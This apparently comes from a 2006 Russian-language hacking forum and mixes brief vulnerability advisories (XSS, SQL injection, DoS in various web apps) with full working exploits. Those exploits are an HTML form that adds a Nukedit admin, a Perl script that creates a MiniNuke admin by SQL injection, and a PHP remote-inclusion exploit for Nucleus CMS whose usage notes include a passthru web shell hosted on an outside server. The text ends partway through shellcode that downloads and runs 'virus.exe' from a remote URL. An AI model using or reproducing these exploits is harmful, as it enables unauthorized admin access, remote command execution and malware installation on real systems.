Thread ID: 9159
Created: 2006-06-10T22:54:50+0000
Last Post: 2006-06-10T22:54:50+0000
Author: ENFIX
Prefix: Web
Replies: 0 Views: 2K

Easy Ad-Manager - Cross Site Scripting

Дата Выпуска: 2006-06-09
Уровень: Менее критический
Воздействие: Cross-Site Scripting
Решение: Неисправленно
Software: Easy Ad-Manager

Описание:
Входящие данные в параметре "mbid" в details.php, должным образом не проверяются перед возвращением пользователя. Это может эксплуатироваться, чтобы выполнить произвольный HTML и код XSS на сессии браузера пользователя в контексте уязвимого сайта.

Пример:

Code:Copy to clipboard

http://[host]/details.php?Do=load*mbid=
xueBook 1.x - SQL Injection
ID: 67686ba3b4103b69df379e47
Thread ID: 9085
Created: 2006-06-08T21:38:37+0000
Last Post: 2006-06-09T20:40:54+0000
Author: ENFIX
Prefix: Web
Replies: 3 Views: 2K

xueBook - SQL Injection

Дата Выпуска: 2006-06-08
Уровень: Умеренно критический
Воздействие: Манипуляция данных
Решение: Неисправлено
Software: xueBook 1.x

Описание:
Входящие данные в параметре "start" в index.php, должным образом не проверяются перед использованием в запросе SQL. Это может эксплуатироваться, чтобы управлять запросами SQL, вводя произвольный код SQL.

Code:Copy to clipboard

http://[host]/index.php?start=

Уязвимость была найдена в версии 1.0.

Courier Mail Server < 0.53.2 - DoS
ID: 67686ba3b4103b69df379e48
Thread ID: 9097
Created: 2006-06-09T09:28:26+0000
Last Post: 2006-06-09T09:28:26+0000
Author: Mail2k
Prefix: DoS
Replies: 0 Views: 2K

Программа: Courier Mail Server версии до 0.53.2

Описание:
Уязвимость позволяет удаленному пользователю вызвать отказ в обслуживании.

Уязвимость существует из-за ошибки при обработке имени пользователя, содержащего символ "=". Удаленный пользователь может потребить большое количество ресурсов процессора на системе и вызвать отказ в обслуживании.

Решение: Установите последнюю версию (0.53.2) с сайта производителя.
[mod][Ŧ1LAN:] тему почистил, кто будет ещё спорить поминусую...[/mod]

Vice Stats 1.x - SQL Injection
ID: 67686ba3b4103b69df379e49
Thread ID: 9082
Created: 2006-06-08T21:28:53+0000
Last Post: 2006-06-08T21:28:53+0000
Author: ENFIX
Prefix: Web
Replies: 0 Views: 2K

Vice Stats - SQL Injection
Дата Выпуска: 2006-06-08
Уровень: Умеренно критический
Воздействие: Манипуляция данными
Решение: Неисправлено
Software: Vice Stats 1.x

Описание:
Входящие данные в параметре "ID" в vs_resources.php, должным образом не проверяются перед использованием в запросах SQL. Это может эксплуатироваться, чтобы управлять запросами SQL, вводя произвольный код SQL.
Пример:

Code:Copy to clipboard

http://[host]/vs_resources.php?id=

Уязвимость была обнаружена в версии 0.5b и 1.0.Другие версии также могут быть уязвимы.

EmailArchitect Email Server 6.x - XSS
ID: 67686ba3b4103b69df379e4a
Thread ID: 9080
Created: 2006-06-08T21:20:21+0000
Last Post: 2006-06-08T21:20:21+0000
Author: ENFIX
Prefix: Web
Replies: 0 Views: 2K

EmailArchitect Email Server - Cross-Site Scripting
Дата Выпуска: 2006-06-08
Уровень: Менее критический
Воздействие: XSS
Решение: Неисправлено
Software: EmailArchitect Email Server 6.x
Описание:
Входящие данные в параметрах "errCode" и "uid" в default.asp, а также в параметре "dname" в /admin/dns.asp, и/additional/regdomain_done.asp должным образом не проверяются перед возвращением пользователя. Это может эксплуатироваться, чтобы выполнить произвольный HTML и код XSS на сессии браузера пользователя в контексте уязвимого сайта.

Пример:

Code:Copy to clipboard

http://[host]/emailarchitect//admin/dns.asp?e=i&errCode=
http://[host]/emailarchitect/default.asp?dname=

Уязвимость была найдена в версии 6.1.0.5. Другие версии также могут быть уязвимы.

Alex News-Engine 1.x - SQL Injection
ID: 67686ba3b4103b69df379e4b
Thread ID: 9058
Created: 2006-06-06T22:00:36+0000
Last Post: 2006-06-06T22:00:36+0000
Author: ENFIX
Prefix: Web
Replies: 0 Views: 2K

Alex News-Engine - SQL Injection
Дата Выпуска: 2006-06-06
Уровень: Умеренно критический
Воздействие: Манипуляция данными
Статус Решения: Неисправленный
Software: Alex News-Engine 1.x

Описание:
Входящие данные в параметре "newsid" в newscomments.php, должным образом не проверяются перед использованием в запросах SQL. Это может эксплуатироваться, чтобы управлять запросами SQL, вводя произвольный код SQL.

Пример:
http: // [host]/newscomments.php? newsid = '

Успешная эксплуатация требует, чтобы "magic_quotes_gpc" был отключен и что "register_globals" включен.

Уязвимость была найдена в версии 1.5.0. Другие версии также могут быть уязвимы.

Kmita FAQ 1.x - Cross-Site Scripting and SQL Injection
ID: 67686ba3b4103b69df379e4c
Thread ID: 9056
Created: 2006-06-06T21:40:06+0000
Last Post: 2006-06-06T21:40:06+0000
Author: ENFIX
Prefix: Web
Replies: 0 Views: 2K

Kmita FAQ -Cross-Site Scripting and SQL Injection
Первое сообщение: 2006-06-06
Уровень: умеренно-критический
воздействие: Cross Site Scripting, манипуляция данными
Решение: неисправлено
Software: Kmita FAQ 1.x

Описание:

  1. Входящие данные в параметре "q" в search.php не проверяются перед возвращением пользователя. Это может эксплуатироваться, чтобы выполнить произвольный HTML и код XSS на сессии браузера пользователя в контексте уязвимого сайта.
    Пример:

Code:Copy to clipboard

hhtp://[host]/search.php?q=
  1. Входящие данные в параметре "catid" в index.php не проверяются при запросах sql. Это может эксплуатироваться, чтобы управлять запросами sql, вводя произвольный код sql
    пример:

Code:Copy to clipboard

hhtp://[host]/index.php?catid=

Уязвимость найдена в версии 1.0. Другие версии также могут быть уязвимы.

Particle Wiki - SQL Inj
ID: 67686ba3b4103b69df379e4d
Thread ID: 9045
Created: 2006-06-06T07:06:26+0000
Last Post: 2006-06-06T09:41:32+0000
Author: ENFIX
Prefix: Web
Replies: 1 Views: 2K

Particle Wiki - SQL Inj

Дата выпуска: 2006-06-05
Воздействие: Манипуляция данными
Решение: Неисправлено
Software: Particle Wiki 1.x
Описание:
Входящие данные в параметре "version" в index.php, должным образом не проверяются перед использованием в запросах sql, эта уязвимость может эксплуатироваться, чтобы управлять запросами sql, вводя произвольный код sql.
Пример:

Code:Copy to clipboard

http://[host]/index.php?version=
PHP Pro Publish 2.x - XSS
ID: 67686ba3b4103b69df379e4e
Thread ID: 9040
Created: 2006-06-05T20:14:27+0000
Last Post: 2006-06-05T20:14:27+0000
Author: ENFIX
Prefix: Web
Replies: 0 Views: 2K

PHP Pro Publish XSS
Дата Выпуска: 2006-06-05
Уровень: Менее критический
Воздействие: Cross Site Scripting
Решение: Неисправлено
Software: PHP Pro Publish 2.x

Описание:
Входящие данные в параметре "catname" в cat.php, должным образом не проверяются перед возвращением пользователя. Это может эксплуатироваться, чтобы выполнить произвольный HTML и код XSS на сессии браузера пользователя в контексте уязвимого сайта.

Пример:

Code:Copy to clipboard

http://[host]/propublish/cat.php?catname=

Уязвимость была обнаружена в версии 2.0. Другие версии также могут быть уязвимы.

Nukedit CMS <= 4.9.6 Unauthorized Admin Add Exploit
ID: 67686ba3b4103b69df379e50
Thread ID: 8831
Created: 2006-05-30T12:33:22+0000
Last Post: 2006-05-30T12:33:22+0000
Author: Ŧ1LAN
Prefix: Web
Replies: 0 Views: 2K

Nukedit CMS <= 4.9.6 Unauthorized Admin Add Exploit

Code:Copy to clipboard

################ KAPDA - Security Science Researchers Institute ################# 
#Advisory : http://www.kapda.ir/advisory-337.html 
#Vendor : http://www.nukedit.com/ 
#What is : Nukedit is a Free Content Management 
#Vulnerability : Unauthorized Admin Add Exploit if "register.asp" be enable! 
#Discovered : 3nitro - farhadkey {AT} kapda [d0t] ir 
#Vulnerabale versions : <= 4.9.6 
#Grtz to : Irannetjob.com, Maskofgod.net, Hamid.ir, ihsteam.com, simorhg-ev.com, hat-squad.com 
#Solution : update to new version of nukedit . 
#Change "http://victim.com/nukedit/utilities/register.asp" 
################ KAPDA - Security Science Researchers Institute ################# 

<html><head><title>Kapda HTML PoC For Nukedit <= 4.9.6</title> 
<meta http-equiv="Content-Type" content="text/html; charset=windows-1252"></head> 
<body> 
<font face="Verdana" Size="1">
 
Kapda HTML PoC For Nukedit <= 4.9.6 (With Security Patch) Unauthorized Admin Add Exploit
 
Discovered and coded by 3nitro - farhadkey {AT} kapda [dot] ir 
 
Change the form's action in source : "http://victim.com/nukedit/utilities/register.asp"
 
Fill the blank and submit . After that login with your email ! + your password .<p> 
<form name="frmUser" method="post" action="http://victim.com/nukedit/utilities/register.asp"> 
<input type="hidden" name="action" value="addDB"></p> 



Username :<input type="text" name="username"  size="50" style="float: left; font-family: Verdana; font-size: 7pt"> 
<input type="hidden" name="company"  size="30" value="MSN"> 
<input type="hidden" name="Url"  size="30" value="http://www.lol.ir"> 
<input type="hidden" name="address"  size="30" value="System32"> 
<input type="hidden" name="county"  size="30" value="00"> 
<input type="hidden" name="zip"  size="10" value="12345"> 
<input type="hidden" name="country" value="XPL"> 
<input type="hidden" name="phone"  size="15" value="12345678"> 
<input type="hidden" name="fax"  size="15" value="87654321"> 



Your E-mail : <input type="text" name="email"  size="30" style="float: left; font-family: Verdana; font-size: 7pt"> 



Your Password : <input type="password" name="password"  size="20" style="float: left; font-family: Verdana; font-size: 7pt"> 
<input type= "hidden" name="groupid" value="1"> 
<input type="hidden" name="IP" value="10.9.8.7"> 



<input type="submit" value="Create Account" id="submit1" name="submit1">
 
<!-- Nukedit Exploit Discovered and coded by 3nitro (farhadkey {AT} kapda [D0T] ir) --> 
</font> 
</form> 
</body> 
</html>
MiniNuke 2.x (create an admin) Remote SQL Injection Exploit
ID: 67686ba3b4103b69df379e51
Thread ID: 8759
Created: 2006-05-28T02:54:36+0000
Last Post: 2006-05-28T02:54:36+0000
Author: Ŧ1LAN
Prefix: Web
Replies: 0 Views: 2K

MiniNuke 2.x (create an admin) Remote SQL Injection Exploit

Code:Copy to clipboard

#!/usr/bin/perl
#Method found & Exploit scripted by nukedx
#Contacts > ICQ: 10072 MSN/Main: nukedx@nukedx.com web: www.nukedx.com
#Original advisory: http://www.nukedx.com/?viewdoc=31
#Usage: mini.pl <host> <path> <user> <pass> <mail>
use IO::Socket;
if(@ARGV != 5) { usage(); }
else { exploit(); }
sub header()
{
  print "\n- NukedX Security Advisory Nr.2006-31\r\n";
  print "- MiniNuke v2.x Remote SQL Injection (create an admin) Exploit\r\n";
}
sub usage() 
{
  header();
  print "- Usage: $0 <host> <path> <user> <pass> <mail>\r\n";
  print "- <host> -> Victim's host ex: www.victim.com\r\n";
  print "- <path> -> Path to MiniNuke ex: /mininuke/\r\n";
  print "- <user> -> Desired username to create ex: h4x0r\r\n";
  print "- <pass> -> Password for our username ex: p4ZZw0rd\r\n";
  print "- <mail> -> Mail for our username ex: hax0r\@s3x0r3d.com\r\n";
  exit();
}
sub exploit () 
{
  #Our variables...
  $mnserver = $ARGV[0];
  $mnserver =~ s/(http:\/\/)//eg;
  $mnhost   = "http://".$mnserver;
  $mndir    = $ARGV[1];
  $mnuser   = $ARGV[2];
  $mnpass   = $ARGV[3];
  $mnmail   = $ARGV[4];
  $mnport   = "80";
  #Sending data...
  header();
  print "- Trying to connect: $mnserver\r\n";
  getsession();
}
sub getsession ()
{
  print "- Getting session for register...\r\n";
  $mnstar   = "membership.asp?action=new";
  $mnsreq   = $mnhost.$mndir.$mnstar;
  $mns = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$mnserver", PeerPort => "$mnport") || die "- Connection failed...\r\n";
  print $mns "GET $mnsreq HTTP/1.1\n";
  print $mns "Accept: */*\n";
  print $mns "Referer: $mnhost\n";
  print $mns "Accept-Language: tr\n";
  print $mns "User-Agent: NukeZilla\n";
  print $mns "Cache-Control: no-cache\n";
  print $mns "Host: $mnserver\n";
  print $mns "Connection: close\n\n";
  print "- Connected...\r\n";
  while ($answer = <$mns>) { 
    if ($answer =~ /Set-Cookie: (.*?) path=\//) { $mncookie = $mncookie.$1; }
    if ($answer =~ /Güvenlik Kodunuz<\/td><td width=\"50%\"><b>(.*?)<\/b><\/td>/) { $mngvn=$1;doregister(); }
  }
  #if you are here...
  die "- Exploit failed\r\n";
}
sub doregister ()
{
  close($mns);
  $mntar    = "membership.asp?action=register";
  $mnreq    = $mnhost.$mndir.$mntar;
  print "- Session getting done\r\n";
  print "- Lets create our user...\r\n";
  $mndata = "kuladi=".$mnuser;
  $mndata.= "&password=".$mnpass;
  $mndata.= "&email=".$mnmail;
  $mndata.= "&isim=h4x0r";
  $mndata.= "&g_soru=whooooo";
  $mndata.= "&g_cevap=h4x0rs";
  $mndata.= "&icq=1";
  $mndata.= "&msn=1";
  $mndata.= "&aim=1";
  $mndata.= "&sehir=1";
  $mndata.= "&meslek=1";
  $mndata.= "&cinsiyet=b";
  $mndata.= "&yas_1=1";
  $mndata.= "&yas_2=1";
  $mndata.= "&yas_3=1920";
  $mndata.= "&web=http://www.milw0rm.com";
  $mndata.= "&imza=h4x0r";
  $mndata.= "&mavatar=IMAGES/avatars/1.gif";
  $mndata.= "&security_code=".$mngvn;
  $mndata.= "&mail_goster=on";
  $mndatalen = length($mndata);
  $mn =  IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$mnserver", PeerPort => "$mnport") || die "- Connection failed...\r\n";
  print $mn "POST $mnreq HTTP/1.1\r\n";
  print $mn "Accept: */*\r\n";
  print $mn "Referer: $mnhost\r\n";
  print $mn "Accept-Language: tr\r\n";
  print $mn "Content-Type: application/x-www-form-urlencoded\r\n";
  print $mn "Accept-Encoding: gzip, deflate\r\n";
  print $mn "User-Agent: NukeZilla\r\n";
  print $mn "Cookie: $mncookie\r\n";
  print $mn "Host: $mnserver\r\n";
  print $mn "Content-length: $mndatalen\r\n";
  print $mn "Connection: Keep-Alive\r\n";
  print $mn "Cache-Control: no-cache\r\n\r\n";
  print $mn $mndata;
  print $mn "\r\n\r\n";
  while ($answer = <$mn>) { 
    if ($answer =~ /Tebrikler !!!/) { 
      print "- Creating user has been done...\r\n"; 
      print "- Loginning in to user...\r\n";
      dologin();
    }
  }
  #if you are here...
  die "- Exploit failed\r\n";
}
sub dologin ()
{
  close ($mn);
  $mnltar  = "enter.asp";
  $mnlreq  = $mnhost.$mndir.$mnltar;
  $mnldata = "kuladi=".$mnuser;
  $mnldata.= "&password=".$mnpass;
  $mnldata.= "&guvenlik=423412";
  $mnldata.= "&gguvenlik=423412";
  $mnldatalen = length($mnldata);
  $mnl =  IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$mnserver", PeerPort => "$mnport") || die "- Connection failed...\r\n";
  print $mnl "POST $mnlreq HTTP/1.1\r\n";
  print $mnl "Accept: */*\r\n";
  print $mnl "Referer: $mnhost\r\n";
  print $mnl "Accept-Language: tr\r\n";
  print $mnl "Content-Type: application/x-www-form-urlencoded\r\n";
  print $mnl "Accept-Encoding: gzip, deflate\r\n";
  print $mnl "User-Agent: NukeZilla\r\n";
  print $mnl "Host: $mnserver\r\n";
  print $mnl "Content-length: $mnldatalen\r\n";
  print $mnl "Connection: Keep-Alive\r\n";
  print $mnl "Cache-Control: no-cache\r\n\r\n";
  print $mnl $mnldata;
  print $mnl "\r\n\r\n";
  while ($answer = <$mnl>) { 
    if ($answer =~ /Set-Cookie: (.*?) path=\//) { $mnlcookie = $mnlcookie.$1; }
    if ($answer =~ /Cache-control:/) { doadmin(); }
   }
  #if you are here...
  die "- Exploit failed\r\n";
}
sub doadmin ()
{
  close($mnl);
  print "- Editing profile..\r\n";
  $mnptar  = "Your_Account.asp?op=UpdateProfile";
  $mnpreq  = $mnhost.$mndir.$mnptar;
  $mnpdata.= "email=".$mnmail;
  $mnpdata.= "&isim=h4x0r";
  $mnpdata.= "&g_soru=whooooo";
  $mnpdata.= "&g_cevap=h4x0rs";
  $mnpdata.= "&icq=1";
  $mnpdata.= "&msn=1";
  $mnpdata.= "&aim=1";
  $mnpdata.= "&sehir=1";
  $mnpdata.= "&meslek=1";
  $mnpdata.= "&cinsiyet=b";
  $mnpdata.= "&yas_1=1";
  $mnpdata.= "&yas_2=1";
  $mnpdata.= "&yas_3=1920',seviye='1";
  $mnpdata.= "&web=http://www.milw0rm.com";
  $mnpdata.= "&imza=h4x0r";
  $mnpdata.= "&mavatar=IMAGES/avatars/1.gif";
  $mnpdata.= "&mail_goster=on";
  $mnpdatalen = length($mnpdata);
  $mnp =  IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$mnserver", PeerPort => "$mnport") || die "- Connection failed...\r\n";
  print $mnp "POST $mnpreq HTTP/1.1\r\n";
  print $mnp "Accept: */*\r\n";
  print $mnp "Referer: $mnhost\r\n";
  print $mnp "Accept-Language: tr\r\n";
  print $mnp "Content-Type: application/x-www-form-urlencoded\r\n";
  print $mnp "Accept-Encoding: gzip, deflate\r\n";
  print $mnp "User-Agent: NukeZilla\r\n";
  print $mnp "Cookie: $mnlcookie\r\n";
  print $mnp "Host: $mnserver\r\n";
  print $mnp "Content-length: $mnpdatalen\r\n";
  print $mnp "Connection: Keep-Alive\r\n";
  print $mnp "Cache-Control: no-cache\r\n\r\n";
  print $mnp $mnpdata;
  print $mn "\r\n\r\n";
  while ($answer = <$mnp>) { 
    if ($answer =~ /Tebrikler !!!/) { 
      print "- Editing profile been done...\r\n"; 
      print "- Exploiting finished succesfully\r\n";
      print "- Your username $mnuser has been created as admin\r\n";
      print "- You can login with password $mnpass on $mnlreq\r\n";
      exit();
    }
    if ($answer =~ /Üyeler Açýktýr/) { 
      print "- Exploit failed\r\n";
      exit();
    }
  }
  #if you are here...
  die "- Exploit failed\r\n";
}
# nukedx.com [2006-05-27]
Nucleus CMS <= 3.22 (DIR_LIBS) Arbitrary Remote Inclusion Exploit
ID: 67686ba3b4103b69df379e52
Thread ID: 8658
Created: 2006-05-24T12:00:23+0000
Last Post: 2006-05-27T08:18:01+0000
Author: Ŧ1LAN
Prefix: Web
Replies: 3 Views: 2K

**Nucleus CMS <= 3.22 (DIR_LIBS) Arbitrary Remote Inclusion Exploit **
Эксплоит:

Code:Copy to clipboard

#!/usr/bin/php -q -d short_open_tag=on
<?
echo "Nucleus <= 3.22 arbitrary remote inclusion exploit\r\n";
echo "by rgod rgod@autistici.org\r\n";
echo "site: http://retrogod.altervista.org\r\n\r\n";
echo "this is called the \"deadly eyes of Sun-tzu\"\r\n";
echo "dork: Copyright . Nucleus CMS v3.22 . Valid XHTML 1.0 Strict . Valid CSS . Back to top\r\n\r\n";
/*
works with:
register_globals=Om
allow_url_fopen=Om
*/

if ($argc<5) {
echo "Usage: php ".$argv[0]." host path location cmd OPTIONS\r\n";
echo "host:      target server (ip/hostname)\r\n";
echo "path:      path to Nucleus\r\n";
echo "location:  an arbitrary location with the code to include\r\n";
echo "cmd:       a shell command\r\n";
echo "Options:\r\n";
echo "   -p[port]:    specify a port other than 80\r\n";
echo "   -P[ip:port]: specify a proxy\r\n";
echo "Examples:\r\n";
echo "php ".$argv[0]." localhost /nucleus/ http://somehost.com/ cat ./../../config.php\r\n";
echo "php ".$argv[0]." localhost /nucleus/ http://somehost.com/ ls -la -p81\r\n";
echo "php ".$argv[0]." localhost / http://somehost.com/ ls -la -P1.1.1.1:80\r\n\r\n";
echo "note, you need this code in http://somehost.com/ADMIN.php/index.html\r\n";
echo "<?php\r\n";
echo "if (get_magic_quotes_gpc()){\$_REQUEST[\"cmd\"]=stripslashes(\$_REQUEST[\"cmd\"]);}\r\n";
echo "ini_set(\"max_execution_time\",0);\r\n";
echo "echo \"*delim*\";\r\n";
echo "passthru(\$_REQUEST[\"cmd\"]);\r\n";
echo "echo \"*delim*\";\r\n";
echo "?>\r\n";
die;
}

/* software site: http://nucleuscms.org/

   i) vulnerable code in nucleus/libs/PLUGINADMIN.php at lines 21-49:

   ...
   global $HTTP_GET_VARS, $HTTP_POST_VARS, $HTTP_COOKIE_VARS, $HTTP_ENV_VARS, $HTTP_POST_FILES, $HTTP_SESSION_VARS;
$aVarsToCheck = array('DIR_LIBS');
foreach ($aVarsToCheck as $varName)
{
	if (phpversion() >= '4.1.0')
	{
  if (   isset($_GET[$varName])
  	|| isset($_POST[$varName])
  	|| isset($_COOKIE[$varName])
  	|| isset($_ENV[$varName])
  	|| isset($_SESSION[$varName])
  	|| isset($_FILES[$varName])
  ){
  	die('Sorry. An error occurred.');
  }
	} else {
  if (   isset($HTTP_GET_VARS[$varName])
  	|| isset($HTTP_POST_VARS[$varName])
  	|| isset($HTTP_COOKIE_VARS[$varName])
  	|| isset($HTTP_ENV_VARS[$varName])
  	|| isset($HTTP_SESSION_VARS[$varName])
  	|| isset($HTTP_POST_FILES[$varName])
  ){
  	die('Sorry. An error occurred.');
  }
	}
}

include($DIR_LIBS . 'ADMIN.php');
...

so, if register_globals = On and allow_url_fopen = On, we have arbitrary remote inclusion, poc:

http://[target]/[path_to_nucleus]/nucleus/libs/PLUGINADMIN.php?GLOBALS[DIR_LIBS]=http://somehost.com/&cmd=ls%20-la

where on somehost.com we have some php code in

http://somehost.com/ADMIN.php/index.html

also, if register_globals = On & magic_quotes_gpc = Off:

http://[target]/[path_to_nucleus]/nucleus/libs/PLUGINADMIN.php?GLOBALS[DIR_LIBS]=/var/log/httpd/access_log%00&cmd=ls%20-la

               */
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

function quick_dump($string)
{
  $result='';$exa='';$cont=0;
  for ($i=0; $i<=strlen($string)-1; $i++)
  {
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
   {$result.="  .";}
   else
   {$result.="  ".$string[$i];}
   if (strlen(dechex(ord($string[$i])))==2)
   {$exa.=" ".dechex(ord($string[$i]));}
   else
   {$exa.=" 0".dechex(ord($string[$i]));}
   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
  }
 return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacketii($packet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy=='') {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo 'No response from '.$host.':'.$port; die;
    }
  }
  else {
	$c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo 'Not a valid proxy...';die;
    }
    $parts=explode(':',$proxy);
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo 'No response from proxy...';die;
	}
  }
  fputs($ock,$packet);
  if ($proxy=='') {
    $html='';
    while (!feof($ock)) {
      $html.=fgets($ock);
    }
  }
  else {
    $html='';
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($ock,1);
    }
  }
  fclose($ock);
  #debug
  #echo "\r\n".$html;

}
$host=$argv[1];
$path=$argv[2];
$loc=urlencode($argv[3]);
if (($path[0]<>'/') | ($path[strlen($path)-1]<>'/'))
{die("Check the path, it must begin and end with a trailing slash\r\n");}
$port=80;
$proxy="";
$cmd="";
for ($i=4; $i<=$argc-1; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if (($temp<>"-p") and ($temp<>"-P"))
{
$cmd.=" ".$argv[$i];
}
if ($temp=="-p")
{
  $port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
  $proxy=str_replace("-P","",$argv[$i]);
}
}
$cmd=urlencode($cmd);
if ($proxy<>'') {$p="http://".$host.":".$port.$path;} else {$p=$path;}

$packet ="GET ".$p."nucleus/libs/PLUGINADMIN.php HTTP/1.0\r\n";
$packet.="User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)\r\n";
$packet.="Host: ".$host."\r\n";
//through cookies, it's the same, maybe can bypass some ids...
$packet.="Cookie: GLOBALS[DIR_LIBS]=".$loc."; cmd=".$cmd.";\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);

if (strstr($html,"*delim*"))
{
  echo "Exploit succeeded...";
  $temp=explode("*delim*",$html);
  die("\r\n".$temp[1]."\r\n");
}
//if you are here...
echo "Exploit failed...\r\n";
?>
IntelliTamper 2.07 (*.map file) Local Arbitrary Code Execution Exploit
ID: 67686ba3b4103b69df379e54
Thread ID: 8522
Created: 2006-05-20T08:00:35+0000
Last Post: 2006-05-20T08:00:35+0000
Author: Ŧ1LAN
Prefix: Local
Replies: 0 Views: 2K

IntelliTamper 2.07 (*.map file) Local Arbitrary Code Execution Exploit
пример/эксплоит:

Code:Copy to clipboard

///////////////////////////////////////////////////////////////////
//++
// IntelliTamper web analysis ( *.Map File Handling Local Exploit )
//
// Discovery By: Devil00 [ o.y.6@hotmail.com ]
// Coded By: JAAScois [ http://www.jaascois.com ]
//++
///////////////////////////////////////////////////////////////////
// Test on: IntelliTamper v2.07

#include <stdio.h>
#include <string.h>

// shellcode [ download & run executive file ]
unsigned char shellcode[] =
"\xEB\x5D\x5F\x8B\xF7\x80\x3F"
"\x08\x75\x03\x80\x37\x08\x47\x80\x3F\x01\x75\xF2\x33\xC9\xB5\x05\x8B\xFE\x2B\xF9"
"\x8B\xEF\xB5\x03\x2B\xF9\x8B\xD7\xB2\x7C\x8B\xE2\x89\x75\xFC\xB5\x40\xC1\xE1\x08"
"\x89\x4D\xF8\x8D\x49\x3C\x8B\x09\x03\x4D\xF8\x8D\x49\x7F\x41\x8B\x09\x03\x4D\xF8"
"\x8B\xD9\x8B\x49\x0C\x03\x4D\xF8\x81\x39\x4B\x45\x52\x4E\x74\x07\x8D\x5B\x14\x8B"
"\xCB\xEB\xEB\x33\xC0\x53\xEB\x02\xEB\x7C\x8B\x33\x03\x75\xF8\x80\x7E\x03\x80\x74"
"\x14\x8B\x3E\x03\x7D\xF8\x47\x47\x56\x8B\x75\xFC\x33\xC9\xB1\x0D\xF3\xA6\x5E\x74"
"\x06\x40\x8D\x76\x04\xEB\xE0\x5B\x8B\x5B\x10\x03\x5D\xF8\xC1\xE0\x02\x03\xD8\x8B"
"\x03\x89\x45\xF4\x8B\x5D\xFC\x8D\x5B\x0D\x53\xFF\xD0\x89\x45\xF0\x8D\x5B\x09\x53"
"\x8B\x45\xF4\xFF\xD0\x89\x45\xEC\x8B\x45\xF0\x8B\x40\x3C\x03\x45\xF0\x8B\x40\x78"
"\x03\x45\xF0\x89\x45\xE8\x8B\x40\x20\x03\x45\xF0\x8D\x7B\x08\x33\xD2\x57\x8B\x30"
"\x03\x75\xF0\x33\xC9\xB1\x0F\xF3\xA6\x74\x0B\x5F\xEB\x02\xEB\x7A\x42\x8D\x40\x04"
"\xEB\xE7\x8B\x5D\xE8\x33\xC9\x53\x5F\x8B\x7F\x24\x03\x7D\xF0\xD1\xE2\x03\xFA\x66"
"\x8B\x0F\x8B\x5B\x1C\x03\x5D\xF0\xC1\xE1\x02\x03\xD9\x8B\x1B\x03\x5D\xF0\x89\x5D"
"\xE4\x8B\x55\xFC\x8D\x52\x2D\x8D\x7D\xE0\x33\xC9\xB1\x06\x51\x52\x52\x8B\x75\xF0"
"\x56\xFC\xFF\xD3\xFD\xAB\x5A\x59\x38\x2A\x74\x03\x42\xEB\xF9\x42\xE2\xE8\xB1\x04"
"\x51\x52\x52\x8B\x75\xEC\x56\xFC\xFF\xD3\xFD\xAB\x5A\x59\x38\x2A\x74\x03\x42\xEB"
"\xF9\x42\xE2\xE8\xFC\x52\x33\xD2\xB6\x1F\xC1\xE2\x08\x52\x33\xD2\xEB\x02\xEB\x7C"
"\x52\x8B\x45\xD8\xFF\xD0\x5B\x89\x45\xB8\x33\xD2\x52\x52\x52\x52\x53\x8B\x45\xC8"
"\xFF\xD0\x89\x45\xB4\x8D\x7B\x08\x33\xD2\x52\xB6\x80\xC1\xE2\x10\x52\x33\xD2\x52"
"\x52\x57\x50\x8B\x45\xC4\xFF\xD0\x89\x45\xB0\x8D\x55\xAC\x52\x33\xD2\xB6\x1F\xC1"
"\xE2\x08\x52\x8B\x4D\xB8\x51\x50\x8B\x45\xC0\xFF\xD0\x8B\x4D\xB0\x51\x8B\x45\xBC"
"\xFF\xD0\x8B\x4D\xB4\x51\x8B\x45\xBC\xFF\xD0\x33\xD2\x52\x43\x43\x53\x8B\x45\xE0"
"\xFF\xD0\x89\x45\xA8\x8B\x7D\xAC\x57\x8B\x55\xB8\x52\x50\x8B\x45\xDC\xFF\xD0\x8B"
"\x55\xA8\xEB\x02\xEB\x17\x52\x8B\x45\xD4\xFF\xD0\x33\xD2\x52\x53\x8B\x45\xD0\xFF"
"\xD0\x33\xD2\x52\x8B\x45\xCC\xFF\xD0\xE8\x0D\xFE\xFF\xFF\x4C\x6F\x61\x64\x4C\x69"
"\x62\x72\x61\x72\x79\x41\x08\x4B\x45\x52\x4E\x45\x4C\x33\x32\x08\x57\x49\x4E\x49"
"\x4E\x45\x54\x08\x47\x65\x74\x50\x72\x6F\x63\x41\x64\x64\x72\x65\x73\x73\x08\x5F"
"\x6C\x63\x72\x65\x61\x74\x08\x5F\x6C\x77\x72\x69\x74\x65\x08\x47\x6C\x6F\x62\x61"
"\x6C\x41\x6C\x6C\x6F\x63\x08\x5F\x6C\x63\x6C\x6F\x73\x65\x08\x57\x69\x6E\x45\x78"
"\x65\x63\x08\x45\x78\x69\x74\x50\x72\x6F\x63\x65\x73\x73\x08\x49\x6E\x74\x65\x72"
"\x6E\x65\x74\x4F\x70\x65\x6E\x41\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x4F\x70\x65"
"\x6E\x55\x72\x6C\x41\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x52\x65\x61\x64\x46\x69"
"\x6C\x65\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x43\x6C\x6F\x73\x65\x48\x61\x6E\x64"
"\x6C\x65\x08\x72\x08\x78\x2E\x65\x78\x65\x08"
"http://www.jaascois.com/research/36601021/virus.exe" //<< The File Will 
